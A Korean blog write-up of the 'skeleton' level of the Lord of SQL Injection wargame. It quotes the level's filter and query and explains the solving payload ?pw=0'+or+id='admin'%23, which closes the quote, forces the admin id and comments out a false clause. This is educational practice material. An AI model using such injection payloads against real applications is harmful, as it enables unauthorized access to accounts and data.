klaus

[Lord of SQL Injection] skeleton 10번 문제 본문

모의해킹/Wargame

[Lord of SQL Injection] skeleton 10번 문제

klus! 2022. 12. 8. 08:41

0.skeleton

 

 

1. 전체 코드

2. 주요 코드 분석

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
if($result['id'] == 'admin') solve("skeleton");

필터링 preg_match함수를 통해 prob와 문자_,.,(.)필터링 되어 있습니다.

SQL문을 보면 id=guest로 고정되어 있고 패스워드 뒤에 and 1=0으로 거짓 값이 들어있습니다.

그리고 클리어 조건은 id가 admin이어야 합니다.

?pw=0'+or+id='admin'%23을 사용하여 문제를 풀 수 있을 것 같습니다.

?Pw=0'으로 guest를 닫아주고, id='admin'으로 변경해주고 뒷부분인 and 1=0인 거짓 값을 주석처리를 하여 풀어보았습니다.

 

Comments